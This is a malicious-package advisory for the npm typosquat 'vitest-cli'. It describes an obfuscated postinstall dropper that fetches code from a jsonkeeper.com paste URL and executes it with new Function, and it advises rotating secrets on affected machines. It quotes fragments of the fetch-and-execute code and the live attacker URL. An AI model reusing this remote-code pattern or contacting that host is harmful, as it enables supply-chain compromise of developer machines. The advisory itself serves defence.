Advisory

MAL-2026-6267

Also known as: GHSA-c35r-fwrq-cgq9

Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.

Summary

Malicious code in vitest-cli (npm)

Details

---
_-= Per source details. Do not edit below this line.=-_

Source: amazon-inspector (27abcc7f2373309feb253b0cc48b1a8bae7c54a3c43aed0c57add697f4067aba)
Package name vitest-cli impersonates the official Vitest project while declaring empty author, homepage, repository, and bugs metadata. The package.json declares scripts.postinstall: node scripts/postinstall.js, which auto-runs on every npm install. The postinstall reaches lib/postinstall/index.js line 23, which evaluates a P.A.C.K.E.R.-obfuscated blob via eval((function(p,a,c,k,e,d){...})(...)). Once decoded, the payload calls axios.get('https://jsonkeeper.com/external/W33XO') and executes the response's data.cookie field with new Function('require', r.data.cookie)(require), retrying up to three times with 10-minute delays. jsonkeeper.com is an anonymous, mutable JSON paste host — the publisher can swap the executed bytes at any time without republishing the package. The thin wrapper around this dropper merely locates an installed vitest and spawns it as cover. Installer impact: arbitrary attacker-controlled JavaScript runs with full Node privileges on every developer machine and CI runner that installs this package, with access to environment variables, source trees, and credentials reachable from the install context. The combination of a typosquat name against a popular target, empty publisher metadata, P.A.C.K.E.R. obfuscation of the network+exec payload, mutable-paste-host fetch URL, and direct new Function execution of the response body is an unambiguous supply-chain attack.

Source: ghsa-malware (965bb2e5371c6561cacd40167a0ec3b097441cce0f854fc0c981ca07d007d139)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Severity

Not rated by the source.

Dates

Published
2026-06-22 18:23 UTC
Modified
2026-06-23 17:16 UTC

Affected packages and fixes

vitest-cli

npm · All systems

Affected

  • introduced 0 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: OpenSSF Malicious Packages · Apache-2.0

Sources & licences